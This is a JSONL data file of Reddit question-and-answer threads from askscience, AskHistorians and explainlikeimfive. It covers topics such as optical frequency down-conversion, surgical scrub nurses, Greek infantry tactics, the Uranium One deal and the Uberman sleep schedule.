{"q_id": "5xk8e2", "title": "Is it possible to divide the frequency of the light?", "selftext": "In electronics there are devices named \"frequency dividers\" which basically reduce the frequency of the incoming signal by counting zero-crossings. For example 1000 Hz oscillation on the input could be turned into 500 Hz.\n\nWould it be _somehow_ possible to sense the light as an oscillation and consequently divide its frequency to lower ones? Dare I say \u2013 audible ones?\n\nAs I understand, it is actually tera-hertz range and regular electronics don't work well in such high frequencies.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5xk8e2/is_it_possible_to_divide_the_frequency_of_the/", "answers": {"a_id": ["deizm3a"], "score": [8], "text": ["Yes, it is possible to reduce or increase the frequency of light. See [Nonlinear Optics](_URL_2_). Dividing the frequency exactly in half would be a special case of [spontaneous parametric down-conversion](_URL_0_), but there are many other ways to use one or more photons to create other frequencies.\n\nNonlinear optical processes are generally quite inefficient, but light is routinely produced in the kHz range using [acousto-optic modulators](_URL_1_), for example (of course, light would never be audible).\n\nUsing electronics would in principle work as well, except that as you imply, metals are terrible conductors at optical frequencies. The field of [optical antennas](_URL_3_) attempts to overcome this and other limitations. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Spontaneous_parametric_down-conversion", "https://en.wikipedia.org/wiki/Acousto-optic_modulator", "https://en.wikipedia.org/wiki/Nonlinear_optics", "https://en.wikipedia.org/wiki/Optical_rectenna"]]}
{"q_id": "6c0odz", "title": "why do surgeons have nurses hand them tools?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6c0odz/eli5_why_do_surgeons_have_nurses_hand_them_tools/", "answers": {"a_id": ["dhr020e", "dhr3toi", "dhre5l5"], "score": [33, 21, 6], "text": ["It's faster than having to root through the table of tools yourself. \n\nOr, When you have your hands gripping another man's beating heart, you tend to not want to shift your focus away from that. ", "The person handing the instruments to the doctor is called a scrub nurse or a scrub tech. They are usually the one to lay out all of the instruments on the sterile field, so they pretty much know where every instrument is in a split second. \n\nHaving a scrub tech/nurse allows the doctor to keep his entire focus on the operation he is doing. It would be less safe for him to have to constantly turn to the tray, look for the instrument he needs, grab it and then focus back on the operating site. With a scrub nurse/tech, he simply puts his hand palm up out and says what instrument he wants, and the scrub nurse/tech places it in his hand in a position ready for immediate use. It's very quick as it only takes a second to say the name and have the scrub nurse/tech put it in his hand, much faster than the doctor looking for the instrument himself. A good scrub tech/nurse also can anticipate instruments the doctor will need next, so he will also mentally have in his mind what to hand the doctor next.\n\nA good analogy is having someone firing rifles and having someone reload and hand them to the gunner as he runs out of ammo. The gunner can focus solely on targeting the enemy and not have to worry about taking his eyes off the field of battle to reload his firearm. A scrub nurse/tech makes sure the next instrument is ready and clean so the doctor can keep his focus on the surgical site and not have to worry about retrieving and putting instruments back in their place.\n\nThe scrub nurse/tech also keeps an eye on the integrity of the sterile field, making sure someone else (like the circulating nurse or anesthesiologist) does not break the sterility of the field by touching anything on the tray. Another role of the scrub nurse (while the circulating nurse also does this) is making sure all the equipment is accounted for before closing the patient up. Every forceps, scissors and gauze need to be counted and checked off to eliminate the potential of leaving them in the patient, which can result in serious complications.", "In addition to what everyone else described...\n\nImagine looking at a bowl of fried noodles. Noodles all mixed among with leafy vegetables, corn, pieces of meat, carrots, etc. Suddenly, you spotted one particular strand of noodle that you really want. You look away to pick up a pair of chopsticks. When you look back, you can't see that piece of elusive noodle anymore! It just blends in with the rest of them.\n\nSurgery can sometimes be like that. There are strands of long tubular looking structures, all looking quite similar. Sometimes we look hard for one particular artery/nerve/vein we want to divide. If we look away just for a split second to pick up an instrument, we might loose our focus on it and have to look for it all over again."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6vuj4n", "title": "Which are some good books or articles to learn about the independence and development of XIX century Brazil", "selftext": "I'm Spanish, and I'm teaching History to a Brazillian boy in a Homeschooling project- he travels around the world because he's an athlete. Although the history of his own country doesn't seem to be part of his curriculum, I think we could use some lessons to get to know his country a bit better than he does. I'm concerned that he doesn't know that much of where he comes from, and I think he should. The problem is that Spanish bachelor's degrees in History do not care that much for anything but mostly the West and former Spanish colonies, so I know really little from Brazil.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6vuj4n/which_are_some_good_books_or_articles_to_learn/", "answers": {"a_id": ["dm3es3j"], "score": [2], "text": ["there's a non-fiction trilogy by Brazilian author Laurentino Gomes, 1808, 1822 and 1899 - which become huge best-sellers and are really fun to read. You can purchase the books via Amazon. Specifically for the Independence you might start with 1822\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.amazon.com.br/Princesa-Triste-Escoc%C3%AAs-Dinheiro-Ajudaram/dp/852506064X?tag=goog0ef-20&smid=A1ZZFT5FULY4LN&ascsubtag=852506064X"]]}
{"q_id": "1y0f8d", "title": "How do stomach bacteria differ between vegetarians and those who eat meat?", "selftext": "Are there any bacteria that are specific to meat?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1y0f8d/how_do_stomach_bacteria_differ_between/", "answers": {"a_id": ["cfgbawx", "cfggtdy"], "score": [14, 5], "text": ["[Current research seams to show yes!](_URL_0_) The linked study is from *Nature* (so paywalled, unfortunately, though there's good info in the abstract), and showed that even very short term changes to diet can change the kinds of gut bacteria (people's microbiome) can change quite a bit. \n\nNot sure if it's that the bacteria are specific to meat but that a higher fat/protein diet gives a different nutritional environment for your microbes, so the ones that can survive/thrive are different. \n\nThere's a lot of current research about what influences human microbiomes - I went to a talk last week that included info from a study that showed people who have dogs compared to people without had significant differences in their gut bacteria! (Don't know the details of the study, but the talk was given by Ran Blekhman who's a new professor at U of M - this is his area of research). ", "Yes, and I think a lot of caries are caused by bacteria from grain. Which helps to explain why the farther back in time you go in anthropological records the dentition becomes more intact.\n\nWhen we switched away from meat toward grain as a staple we changed the bacteria in our mouths to accomidate strains that can eat our teeth."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nature.com/nature/journal/vaop/ncurrent/full/nature12820.html"], []]}
{"q_id": "1tmvd1", "title": "You're are German soldier during World War One. If you were given the choice to fight on either the western or the eastern front, which would you choose and why?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1tmvd1/youre_are_german_soldier_during_world_war_one_if/", "answers": {"a_id": ["ce9i1f7"], "score": [2], "text": ["I'm terribly sorry, but the way this question is phrased is a bit awkward. Essentially, your question is, \"What was the experience of a German soldier on the Eastern Front during WWI and how does it contrast against the experience on the Western Front?\" which is a really interesting question. Perhaps re-phrasing it might give you the attention it deserves?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3s5ua0", "title": "government data gathering - how can the technology sustain that?", "selftext": "I recently watched Citizenfour, I found it pretty scary. I have nothing to hide but as businesses are getting hacked it worries me who has my data and how can they keep it secure? But what really got me is that the rise of DDoS attack. If we take the largest as an example 400Gbps (_URL_0_) that is huge. So the Data gathering being done by Governments must be pretty large as well. Maybe not 400Gbps, but it's going to be large. How does a system sustain this kind of gathering? Can it even really be done.\nIt's an interesting topic and I don't expect someone to answer and get themselves in any kind of trouble. \n\nNote to Government: I'm not a cyber criminal, please don't hurt me!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3s5ua0/eli5government_data_gathering_how_can_the/", "answers": {"a_id": ["cwubses"], "score": [2], "text": ["No American will get in trouble for answering this question.\n\nAt this point, it's actually cheaper to store data indefinitely than it is to delete it. Info takes up so little space and costs so little energy to maintain that just building a new massive data center is cheaper than using rewritable disks. Therefore, keeping all of the information forever is the *cheaper* option."]}, "title_urls": [], "selftext_urls": ["http://www.techworld.com/news/security/worlds-largest-ddos-attack-reached-400gbps-says-arbor-networks-3595715/"], "answers_urls": [[]]}
{"q_id": "4niv0b", "title": "In the ancient world, were heavy \"skirmishers\" ever used as a viable counter to light infantry?", "selftext": "Occasionally it's brought up on these threads that light infantry could basically run circles around heavy infantry like greek hoplites and wear them down with seemingly endless barrage of missiles. But it seems that if the armored troops were also armed with slings, light javelins, or bows, they would still have a major advantage over unarmored troops with slings, javelins or bows. So were the wealthier troops ever used to double as heavy skirmishers?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4niv0b/in_the_ancient_world_were_heavy_skirmishers_ever/", "answers": {"a_id": ["d44s78j"], "score": [4], "text": ["Here's an answer in the style of [Vicky Pollard](_URL_0_)...\n\nArchaic Greek heavy infantry could well be described as \"heavy skirmishers\". Warriors are often shown carrying two spears, which must either both be javelins or include one javelin and one thrusting spear. In addition, even heavily armoured warriors are sometimes shown wielding a bow. In the relatively fluid fighting style of this time, neither heavy nor light infantry was separately marshalled, and ranged and close combat would have gone on between loosely organised battle lines simultaneously.\n\nHowever, the heavy infantry type that the Greeks seem to settle on at the end of this period was a creature dedicated to close combat. He was armed only with a thrusting spear and sword; he carried a heavy double-grip shield and took his place in a large homogenous formation that was meant to charge directly at the enemy and decide the battle by hand-to-hand fighting.\n\nThere are a couple of reasons why this shift occurred. Part of it must be the fact that a swift charge into melee prevented missile combat from having much of an effect before the proximity of the enemy forced both sides to focus on their immediate self-defence. This was key to the Greek victory over the Persians. Of course, in any combat situation other than pitched battle, the hoplite was vulnerable because of his specialisation, but he still had his uses as a brute force weapon that could really only be stopped by men who fought in a similar way. \n\nAnother part, though, was that this fighting style acted as a great equaliser between the upper classes and the common man. Only those with the leisure to train could become good heavy skirmishers; these men had formed the core of Archaic armies, fighting as small bands of heavily armoured warriors who had the skill to use many different kinds of weapon. But towards the end of the Archaic period, more and more Greeks began to arm themselves as heavy infantry, and this broader section of the population could not afford to take the time out to master the art of skirmishing warfare. The resulting heavy infantry formation was therefore adjusted to the lowest common denominator. While it took time and effort to master the use of the javelin, the bow, or the sling, the Greeks believed any idiot could pick up a spear and shield and give a decent account of himself in close combat. This illusion was shattered in the face of more professional troops (like mercenaries), but such troops were rare on Greek battlefields, and the large untrained citizen levies of Greek city-states could probably not be more effective in battle than as a mass of angry men running at the enemy to stab him in the face. They therefore adopted a fighting style that relied more on raw courage than skill.\n\nThis is confirmed by the fact that the mass of Greek citizens who could not afford heavy armour, and were therefore forced to fight as light infantry, rarely achieved very much in battle. These people were not trained in the use of their haphazard weaponry, and could only really shine in very particular circumstances. The very effective light-armed that we hear about in the sources were often relatively small bands of specialist mercenaries, hired for the unique skills that their regional fighting styles had taught them. \n\nThese specialists left the close combat to the hoplites; they themselves practised a fighting style that focused on avoiding the hand-to-hand encounter altogether. As long as both hoplites and specialist light infantry were present, and the hoplites were mainly expected to engage in melee, there was not much incentive for either hoplites to develop ranged combat skills or for light infantry to increase their staying power. There were various ways for these troop types to work together. Rather than reequipping some hoplites as archers, they could, for instance, station archers and other missile troops within a hollow square of hoplites, which allowed the two troop types to combine their strengths.\n\nThe Greeks also realised that the best defence against light infantry was simply to field cavalry forces. Hoplites were never supposed to fight alone; whenever they did, it was because someone had fucked up. Any lightly armed skirmishing force would think twice about attacking a hoplite formation if any horsemen were about, as they could ride down the light infantry with impunity.\n\nIn short, the tactical system developed by the Greeks in the Classical period relied on the combination of different units with different roles. They were intended to work together in varying ways depending on the situation they were in. There was therefore no need to develop a sort of \"universal warrior\" who could face any conceivable threat, and if this warrior would reduce the effectiveness of hoplites in melee (since his weapons would make him unsuitable for it), he would actually harm rather than enhance the fighting methods of the Greeks.\n\nAll that said, the armies of the Hellenistic kingdoms *did* develop heavy skirmishers of various kinds to form a link between their even more specialised heavy infantry (the pikemen) and the light troops and cavalry that guarded the flanks of the phalanx. This is *probably* the nature of the Macedonian *hypaspistai* (\"shield bearers\") as well as the new infantry type called *thureophoroi* (after the Celtic shield type known as the *thureos*) that spread through the Greek world in the 3rd century BC. And of course Roman legionaries, with their throwing spears, are effectively heavy skirmishers until they engage in close combat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=Tsl7-TJtPew"]]}
{"q_id": "9l6c5s", "title": "What did the people of Wessex call themselves?", "selftext": "I\u2019d like to know what the people of Wessex called themselves or each other, this could also include what the Mercian called the people of Wessex or what the Northumbrians called the people of Wessex, same with the vikings or the French. I know that king Alfred called all the Anglo Saxons the \u2018anglcyn\u2019.\n\nTl:dr was there a name for the people of Wessex (preferably at the time of king alfred) like how a British person is callled a \u2018Briton\u2019", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9l6c5s/what_did_the_people_of_wessex_call_themselves/", "answers": {"a_id": ["e74u3vy"], "score": [3], "text": ["They would most likely have referred to themselves as West Saxons. In the Anglo-Saxon Chronicle in Old English they are referred to as Wesseaxna which is translated as West-Saxons.\n\nSource: The Anglo-Saxon Chronicle, 853 AD"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ax0x2o", "title": "Were European explorers afraid to find more advanced civilizations than them?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ax0x2o/were_european_explorers_afraid_to_find_more/", "answers": {"a_id": ["ehrbjx5", "ehreudc"], "score": [195, 408], "text": ["do we have any early journals/writings about what these people where expecting before heading out ?", "A few things complicate this question. For starters how to define a \u201cmore advanced\u201d society, and in relation to what? This connects to big scholarly discussions, with schools like postcolonial studies arguing that we shouldn\u2019t see Western countries as a gold standard and most advanced,  &  also not judge all other societies as more or less advanced in relation to Western Europe. These are still very important debates to consider and expand on, but I think stray a bit from your question which looks more to then contemporary, European views of other societies. \n\nTurning to the early modern period, we could see China as one such an example of a surely highly developed society, in certain respects probably more so than European states at the time (I\u2019ll leave this to our Asia experts). While there were plans made in the Spanish Philippines for an invasion of China in the late 16th c., the Spanish monarch Philipp II decided against them. The odds were clearly not in favour of such an invasion attempt. This is not exactly a reaction of fear but rather a calculated response in face of a very strong, non-European power. Again though, China had been known in Europe in different ways for centuries.\n\n So let\u2019s turn to a related case which seems like a good case study for what you\u2019re asking about, previously unknown societies: **early Spanish colonisation in the Americas**, a part of the world (mostly) unknown to Europe until the 15th century. This is not an attempt to give a global answer to your question, but to show one context and to hopefully extrapolate from there. My focus is less on the question of a possible \u201cfear\u201d of specific conquistadors, which is a bit hard to argue for or against, but rather on their goals and reactions. I\u2019ll first look at general Spanish motivations and legitimations and then at some perceptions of native societies. \n\n & nbsp;\n\n\n**I.**\n\nHow could Europeans coming to the Americas perceive the native American societies? Would it even fit their worldview that other societies could be more advanced than their own? I\u2019d see one major argument against this: religion. For people like Columbus or Cort\u00e9s, their superiority to the indigenous people they encountered was pretty clear from the start in that they were not Christian. And bringing Christianity to these parts was after all the Iberian powers\u2019 main legitimation for American expansion. Starting with the treaty of Tordesillas 1495, the pope basically divided the world into Portuguese and Spanish spheres of influence, meaning that their colonisation was based on Christianisation. There were other precursors for how to perceive non-Europeans for the Spanish: many studies show how the Spaniards would transpose racially charged, stereotypical views of Muslims on native Americans and their societies. These views had been shaped the centuries of wars between medieval Iberian Christian and Muslim states. As Anthony Pagden argues, Europeans did not see the new people, nature and customs they encountered in the Americas from a blank slate \u2013 rather they perceived them in terms of what they knew from back home, a process we can notice in most other contexts of first contact.\n\n & nbsp;\n\nWe can add to Christian legitimisation the major motivations for conquest, which were economic - as usual with European colonial expansion. The early conquistadors\u2019 aimed to gain the rights of rule over certain areas, with the main focus on rights of native labour. This *encomienda* system meant that the first motivation was less on finding specific land to cultivate (as in British America), but rather on attaining rights over native communities that would than have to work for the *encomenderos*. The major resource for the Spanish would become American silver as the motor of their economy, mined in horrible conditions by native and later African forced laborers. I mention these Spanish motivations to show again were European perceptions came from in the 16th c. The large and impressive societies they encountered were not so much seen in terms of being more or less advanced \u2013 even though certain advances were recognized. Rather, the native population was mainly seen in terms of \n\na) being heathen and having to be converted to Christianity (as the base of Spanish rule); and b) as a central labor force, with native and later African people and people of mixed descent massively outnumbering Europeans in Spanish America. \n\n & nbsp;\n\n**II.**\n\nLet\u2019s look more closely now at how early conquistadors reacted to native societies. Remember, the two largest empires in central and south America, the Incas and Aztecs, were clearly well developed with their own social structures, major cultural production and technologies. These were all often recognized by the first Europeans. Spanish sources early on remark on the similarities between Spanish and Aztec societies, with their hierarchical structures (rulers, nobles, commoners), importance of genearlogy etc. Accounts by Hernan Cort\u00e9s and another Spanish conquistador in Mexico, D\u00edaz de Castillo, show the respect and even awe they felt for Aztec societies. When first entering Tenochtitlan, in the early 16th c., for them the Aztec capital is comparable to the most important Spanish cities that they knew. Actually with its probably somewhere between 200-250.000 inhabitans, Tenochtitlan was bigger than most European cities at the time. The accounts describe its massive market as being larger than any European one. They are impressed by the Aztec ruler Moctezuma and his court. And overall impressed by the sight of a massive city built on top of a lake (Lake Tezcoco), which included a complicated array of moats, canals and even agriculture. In the end, the Spaniards\u2019 reaction here is one of certain admiration of this culture, but not one of fear. As I\u2019ve described [elsewhere in more detail](_URL_0_), Cort\u00e9s would after a first defeat end up destroying these complicated structures on the lake since they hindered his siege of the city. Buildings like the palace and temple were destroyed as symbols of state and religion, despite their clearly very advanced architecture. So from this example we can note more of a strategical approach, were the Spanish recognized advances but would then often either destroy them or sometimes try to turn them to their advantage since they did not fit their intentions and worldview.\n\n & nbsp;\n\nThis is not to say that Europeans were cunningly exploiting native societies, which only stood by passively. Far from it. Probably the most important factor for Cort\u00e9s and most other Spanish conquest campaigns, apart from diseases brought from Europe, were native allies. Around 200.000 such allies aided Cort\u00e9s in the siege of Tenochtitlan together with a few hundred or maybe thousand Spaniards \u2013 a victory would have been impossible without them. Native allies were central to all later campaigns, like those against the Incas, were the Spanish would similarly exploit divisions between different indigenous groups. After all, Pizarro in Peru and other conquistadors had studies Cort\u00e9s\u2019 tactics. But these alliances also profited many native groups involved. In central Mexico, various native groups were angered by the Aztec tributes seen as too excessive, and so hoped to and *often did* gain advances from siding with the Spanish. Similarly, local interests played a role in the power struggles between different factions of the ruling Inca in Peru. Seeing all this only from the European perspective makes us blind to native participation in the conquest campaigns, and to their native groups\u2019 own, often very differing interests. Looking briefly over the colonial period, it is clear that native groups continued to conserve their own, often highly local interests, but also their own cultures. They could even use Spanish law to their advantage since they were legally under the Spanish king's protection. So that again, asking about the European views of \u201cadvanced\u201d societies is I think a very relevant question, but also leaves out the multiple, equally important indigenous viewpoints. Many of those have not been listened to for centuries, in contrast to European sources, and some are only being rediscovered now. \n\n & nbsp;\n\n**III.**\n\nFrom my example of the early Spanish colonisation, I\u2019ve tried to turn the question around. Was it actually possible for Europeans to see other societies as equal or even advanced? Probably not, since Christianity and European \u201ccivilisation\u201d were seen as innately superior to others \u2013 which holds true for many (most?) other, later colonial empires as well. And while native Americans had to convert in order for their rights to be recognized, and while this gave them a protected judicial status, they still remained in an inferior social positions to Europeans and their descendants (not to mention Africans and Asians in Spanish America, who held even lower positions). We now know and can recognize how very developed many indigenous societies were before first contact with Europeans. However, for Europeans it was far from evident to recognize these developments \u2013 and even when they were recognized they often were destroyed for military or religious reasons. \n\nMayan mathematics were in many ways more developed than European counterparts, and knew the use of zero before its use overseas: still most of the codices containing them were destroyed by European priests and administrators, for their supposedly \"heathen\" influence. Incan quipus are an information system that was used to transport infos over large distances through a massive road system: and again, most knowledge of how they were used was destroyed or lost.\n\n It is one thing to recognize the advances of a different society. It is a whole \u2018nother thing to be afraid of it, when the whole point of traveling there was to convert its members and profit from their labor. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/AskHistorians/comments/a78usw/why_did_hern%C3%A1n_cort%C3%A9s_destroy_tenochtitlan_and/ec1cuj6/"]]}
{"q_id": "2mkjx2", "title": "why is a tv show like big bang theory filmed by warner bros and aired by cbs?", "selftext": "So a TV show like Big Bang Theory is filmed at Warner Bros Studios. Warner Bros is owned by Time Warner, which has its own TV networks, right? So why do original episodes air on CBS? CBS has a massive studio a few miles away. Isn't the whole point of these media conglomerates to control vertical distribution?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2mkjx2/eli5why_is_a_tv_show_like_big_bang_theory_filmed/", "answers": {"a_id": ["cm52jwh", "cm52wh4", "cm54jgv"], "score": [8, 3, 2], "text": ["No, the point is to make as much money as possible.\n\nThe job of the studios is to make shows and sell them to networks. And yes, there is a network that is a corporate cousin, but if another network will pay more, why shouldn't they sell it to them?\n\nThe networks will make their decisions about what shows to buy based on the demographics of their network, and what else they have on the schedule.", "Time Warner and CBS have a partnership with each other, sort of a TV cartel.  They formed a network together (The CW? or something?) and share programming.\n\nIn the new world there are no general purpose television stations.  Everything has a theme.  If you want to watch wild animal shows you watch animal planet, if you want to watch vet shows you watch Pet TV, if you want to watch history shows you pick up Docs, and if you want to watch reality TV about haggling you get the history channel.\n\nThe Big Bang Theory was a really great show idea.  But it didn't fit into any of the Warner Bros network philosophies.  Most of what the WB offers is child and family oriented.  Big Bang Theory is more of a YA-adult comedy.", "Time Warner's TV networks do not have as much distribution as CBS.\n\nTime Warner controls The CW network, as well as networks operated by Turner Broadcasting (including TNT, TBS, CNN, HLN and a few others) and HBO (HBO, Cinemax).\n\nNone of those networks drive the same ratings as CBS. Since CBS drives more ratings, it can pay more money for a show like The Big Bang Theory.\n\nYou'll notice that once the show hit syndication, it landed on TBS, which is a Time Warner network."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4gmx16", "title": "Where to read the writings of ancient Roman historians (Suetonius, Cassius Dio, Tactius etc.)?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4gmx16/where_to_read_the_writings_of_ancient_roman/", "answers": {"a_id": ["d2jhe0v"], "score": [2], "text": ["The two I use most are the [Perseus Digital Library](_URL_0_) and [LacusCurtius](_URL_1_).  Perseus is nice because you can flip between English and Latin or Greek."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.perseus.tufts.edu/hopper/", "http://penelope.uchicago.edu/Thayer/E/Roman/Texts/home.html"]]}
{"q_id": "79en8x", "title": "please explain all the facts i should know surrounding the uranium one deal, without any partisan editorializing. specifically, what did it accomplish/change, why did we transfer ownership to russia, what are the costs/benefits of the deal, and what role did hillary clinton play.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/79en8x/eli5_please_explain_all_the_facts_i_should_know/", "answers": {"a_id": ["dp1djl0"], "score": [29], "text": ["* In 2010 Uranium One sold 51% (controlling stake) to JSC Atomredmetzoloto, the mining arm of Rosatom, the Russian nuclear energy agency.  \n* The deal would give Russia control of 20% of raw uranium resources in US.  \n* The deal required multiple approvals by the U.S., beginning with the Committee on Foreign Investments in the United States (CFIUS).  \n* CFIUS has nine members, including the secretaries of the treasury, state, defense, homeland security, commerce and energy; the attorney general; and representatives from two White House offices (the United States Trade Representative and the Office of Science and Technology Policy).  \n* CFIUS and others gave their approval and the transaction was complete.  \n* Despite Clinton being on the committee, CFIUS matters were mostly handled by her then assistant, Jose Fernandez.  \n* It isn't clear Clinton had any involvement in the decision making process but even if she did it would be completly inaccurate to suggest she \"Gave away 20% of US uranium\" since the process involves so many other heads of state, ending, potentially, with the president.  \n* #nothingburger  <  -- sorry but this is a fact and so I'm including it.\n\nsauce: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.factcheck.org/2017/10/facts-uranium-one/"]]}
{"q_id": "bw46ge", "title": "How was vigilantism perceived in ancient times when a concrete police force hadn't been established yet?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bw46ge/how_was_vigilantism_perceived_in_ancient_times/", "answers": {"a_id": ["epwj6r3"], "score": [27], "text": ["Well this all depends on when and where you are talking about.  I imagine the answer would be significantly different for Ancient China as opposed to Ancient Rome, which would in turn be different from Ancient Mexico.  Given how broad the topic can be, I'm going to just provide a small snippet of how vigilante justice operated in a specific time and place before professional police forces existed.  \n\nFor example in Anglo-Saxon England, which is admittedly stretching the definition of ancient, vigilantism was more or less the \"default\" of conflict resolution between equal members of society.  There was no real distinction between vigilante justice and \"official\" justice.  Especially in the Early Anglo-Saxon period our ideas of objective justice and an independent judiciary/police force just simply did not exist.  Justice and revenge were extremely interlinked and the line between official prosecution and a lord taking justice \"into his own hands\" was significantly blurrier than we might imagine.  Much scholarly ink has been spilled on the role of kings and their royal law codes in attempting to crack down on the feuds and disputes of their subjects.  There has been a long standing assumption int he field that the Anglo-Saxon kings were moving in the direction of centralization of power and an increasing monopoly on the prosecution of wrong doers, taking power out of the hands of rival lords who would rather their disputes be settled among themselves.  While this view is somewhat teleological, it is somewhat true in the broad strokes.  \n\nFor certain crimes this was not necessarily the trend.  Catching thieves in the act of theft, or chasing them down, was a devolved power, and very little \"official\" input was required for executing thieves, especially repeat offenders, from the time of England's unification onward.  Other transgressions were different.  There were numerous restrictions and exceptions and possible outcomes for murder for example.  There could be any number of mitigating circumstances that would lessen the fine/penalty/penance paid for the crime such as whether the person murdered had harmed their murderer's relatives.  But all of these permutations were still far removed from a centralized approach that royal figures might have wanted to implement.  \n\nMany scholars argue that the early Anglo-Saxon law codes were essentially efforts by the kings to preempt the cycles of feud and revenge that would result from transgressions by insisting on a royal presence in the paying of weregild, the amount of payment due to a slighted party.  Many law codes provide for the involvement of royally appointed figures in the legal process, but this is misleading.  Although royal law codes make provisions for reeves and sheriffs, we should not associate these figures with out later understandings of law enforcement.  These figures were not necessarily a proto-police force as the name sherriff might imply, but instead royally appointed figures, or people acting under the auspices of royal authority, but in practice there seems to have been little effort at ensuring their objectivity.  indeed Lambert posits that often in the case of a lord or other prominent figure that had committed a crime, the only person in the area who would be capable of putting together a force capable of executing justice on them was another lord, not the king's representatives.  Later on in the Anglo-Saxon period, other practices such as banishment, ordeals, penance, and executions would come to play an increasing role in the prosecution of wrongdoing.  But none of these ever really rose to the level of a police force, indeed Thomas Lambert points out that often times it was the aggrieved party acting on the orders of the royal figures (or claiming to), making this a system of legitimized vigilantism.  Lambert concludes that over time the Anglo-Saxon kings were able to supersede the rights claimed by feud prone lords, but this was a long and involved process that was only somewhat complete by the time of the Norman conquest."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "j94un", "title": "Does the uberman sleep schedule really work? And is it healthy for you?", "selftext": "Pretty self explanatory, here's a link to what it really is.\n_URL_0_", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/j94un/does_the_uberman_sleep_schedule_really_work_and/", "answers": {"a_id": ["c2a6rez", "c2a7lut", "c2a93cp", "c2a9msq", "c2a9t5b", "c2a6rez", "c2a7lut", "c2a93cp", "c2a9msq", "c2a9t5b"], "score": [14, 51, 6, 3, 21, 14, 51, 6, 3, 21], "text": ["It depends on what you mean by \"really work\". There are anecdotal reports of people doing this and not dying/becoming mad/spontaneously combusting, So in once sense, it works because they're limiting themselves to 2 hours of sleep and still doing things they would normally do. On the other hand, they aren't controlled studies, so it's also possible that there's nothing special about the Uberman method in particular and all they've shown is that some people can function more or less normally even though they're chronically sleep-deprived.(There is [at least one study](_URL_0_) that shows that polyphasic sleep can reduce the total sleep time needed, but that effect was nowhere near as dramatic as Uberman proponenets claim.\n\nIn terms of safety, no one's done the long-term epidemiological research to show that it's safe.", "I tried it for one summer. Here's the short version of my experience.\n\nYes, its possible. It works. I felt well-rested and had tons of time. \n\nNow the bad parts.  In no way is it practical. For the first week you will feel like death. Its horrible. Once you get accustomed to the schedule you cannot break it, period. It also requires an alarm clock every time you sleep.  You can't wake up naturally from 20 minutes of sleep, and if you oversleep you've destroyed your schedule. If you miss one sleep cycle you have to start over from the beginning. You will feel horrible for another few days. This means that you have no opportunity to do anything that requires more than about 4 hours of time. Friends going to the zoo for the day?  Sucks to be you, you have to take a 20 minute nap every 4 hours. There is no way you can keep anything even close to resembling a normal schedule because your sleep requirements are so strict. Everybody else is on an 8 hour workday with 8 hours of sleep at night schedule. This does not mesh well with the uberman requirements. The only reason I was able to pull it off was because I stayed in my college town for the summer, taking one class, and none of my friends stayed. Of course, this is only my experience with it. \n\ntl;dr: It works okay, but has 0 practicality. ", "To get the most out of sleep possible, you need to go through the entire sleep cycle at least once. It's pretty doubtful you can go through the entire cycle in twenty minutes. If you don't get enough slow wave sleep, your declarative memory will be impaired. Long term, this would leave you with cognitive deficits, so it doesn't seem super great.\n\nExtending the 20 minute nap to a 90 minute nap (the average length of a sleep cycle) every four hours might work, but it probably would be a lot harder to accomplish (not that the original schedule looks easy at all).", "Disrupting sleeping patterns is known to be carcinogenic (see: night shift/ swing shifts and cancer) atleast is part. Is this due to a disruption of the melatonin cycle or are some other clock genes involved in DNA repair (both are thought to be true: see melatonin or mPeriod2  &  c-myc) remains to be proven ", "Someone did an AMA a while back claiming he'd been on the uberman sleep schedule for years and felt great. He wrote paragraphs and paragraphs defending his claims from many skeptics, and seemed to be convincing quite a few people that it's a better way of life.\n\nThen he casually mentioned that he \"occasionally\" did a bit of speed to get through the rough spots. People who minutes before were beginning to begrudgingly accept his claims quickly ripped him a new asshole for not thinking to mention this before. God, it was hilarious.", "It depends on what you mean by \"really work\". There are anecdotal reports of people doing this and not dying/becoming mad/spontaneously combusting, So in once sense, it works because they're limiting themselves to 2 hours of sleep and still doing things they would normally do. On the other hand, they aren't controlled studies, so it's also possible that there's nothing special about the Uberman method in particular and all they've shown is that some people can function more or less normally even though they're chronically sleep-deprived.(There is [at least one study](_URL_0_) that shows that polyphasic sleep can reduce the total sleep time needed, but that effect was nowhere near as dramatic as Uberman proponenets claim.\n\nIn terms of safety, no one's done the long-term epidemiological research to show that it's safe.", "I tried it for one summer. Here's the short version of my experience.\n\nYes, its possible. It works. I 